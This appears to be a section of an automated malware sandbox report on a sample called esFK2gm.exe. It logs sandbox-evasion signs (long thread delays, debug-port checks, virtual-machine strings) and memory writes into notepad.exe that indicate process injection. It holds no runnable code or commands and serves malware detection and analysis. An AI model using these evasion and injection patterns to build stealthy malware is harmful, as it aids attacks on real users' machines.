Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591956
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591831
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591706
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591581
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591467
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591360
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591222
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591097
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590972
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590856
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5363	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4458	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 401	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9560	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9691
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 397	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7154
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 935

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5608	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1016	Thread sleep count: 9560 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3688	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5416	Thread sleep count: 190 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5388	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep count: 9691 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4048	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -592831s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -592643s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -592453s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -592159s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -591956s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -591831s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -591706s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -591581s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -591467s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -591360s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -591222s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -591097s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -590972s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -590856s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6992	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 944	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior

Source: svchost.exe, 0000001C.00000002.2128335034.00000190B6213000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: svchost.exe, 0000001C.00000002.2128721217.00000190B6264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: svchost.exe, 0000001C.00000002.2128574647.00000190B624B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000001C.00000002.2128574647.00000190B624B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: notepad.exe, 00000002.00000002.2128850608.000001C007B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2129985206.000001D63422F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2131963776.000001D639854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000001C.00000002.2128411466.00000190B622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000010.00000002.1575190410.000002239F320000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2011%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 0000001C.00000002.2128206897.00000190B6202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: svchost.exe, 0000001C.00000002.2128721217.00000190B6264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: powershell.exe, 00000005.00000002.1370357211.000001BF3C508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)
Source: svchost.exe, 0000001C.00000002.2128721217.00000190B6264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 0000001C.00000002.2128411466.00000190B622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000001C.00000002.2128876995.00000190B628C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000001C.00000002.2128574647.00000190B624B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: win_init.exe, 00000021.00000002.1805850040.00000277C9DDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: esFK2gm.exe, 00000000.00000002.2137652124.0000017C510DC000.00000004.00000020.00020000.00000000.sdmp, win_init.exe, 0000001E.00000002.1621864850.000001B6AE1CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll99

Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786570000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786571000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF78699C000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786B41000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786DF1000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786E1C000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786E1D000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786E20000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786E22000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF786E28000	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Memory written: C:\Windows\System32\notepad.exe base: 2EE6A6A010	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior